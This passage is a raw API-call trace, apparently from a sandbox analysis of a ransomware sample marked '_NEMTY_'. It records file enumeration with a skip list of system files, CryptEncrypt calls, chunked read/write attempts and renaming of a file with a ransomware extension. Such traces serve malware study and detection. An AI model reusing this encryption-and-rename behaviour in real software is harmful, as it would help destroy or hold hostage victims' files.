hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0067.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0067.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0067.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0067.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0067.395] Sleep (dwMilliseconds=0x5) [0067.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbd2da10, dwHighDateTime=0x1d561e7)) [0067.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbd2da10, dwHighDateTime=0x1d561e7)) [0067.405] GetLastError () returned 0x5 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.406] GetLastError () returned 0x5 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0067.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0067.406] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0067.406] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="0MKhu8LmTL2A5m0xHSt0tnirb6nNjuJZd+ntSLilgQY5wOjJmbcsL6QxrzppxRHH\r\nQJFbu8XP6jL4JV+sjFOFDkS5L+umwyGhmKA0E9ypL9KwQjkQ32qx2akBWzxGJG42\r\nUeeu2W0YlGaFXKnmKxh/QG0NH9Yvr4TQwxtGl7jNIIEa+evbAjPV41XmmocwrwVj\r\nxB+D0Bg6jRCg9YVXamsVoNbJ9y4LBtQY6IB5oO5c8fdskLxdoEC3Wl8QiYhXYzju\r\n8RAAIJ1Q9tutpRGJH7nJr/AvFOHH7zsUOmNzzJF3q+w0LTWsrQRJ4yHuVCR3je1d\r\nxlIJQybCPiAfzfc9QXhuBg==\r\n", pcchString=0x653e91c) returned 1 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0067.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0067.406] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.406] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0067.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0067.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.444] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0067.514] CloseHandle (hObject=0xffffffff) returned 0 [0067.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0067.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0067.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0067.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0067.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.514] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png._nemty_kgobjgd_")) returned 0 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0067.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2=".") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="..") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="...") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="windows") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="$RECYCLE.BIN") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="rsa") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="NTDETECT.COM") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntldr") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="MSDOS.SYS") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="IO.SYS") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="boot.ini") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="boot.ini") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.dat") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="desktop.ini") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="CONFIG.SYS") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="RECYCLER") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="BOOTSECT.BAK") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgr") returned 1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="programdata") returned -1 [0067.515] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="appdata") returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0067.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0067.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0067.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0067.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0067.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0067.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0067.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0067.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0067.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0067.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0067.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0067.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0067.516] Sleep (dwMilliseconds=0x5) [0067.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbe5e510, dwHighDateTime=0x1d561e7)) [0067.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: 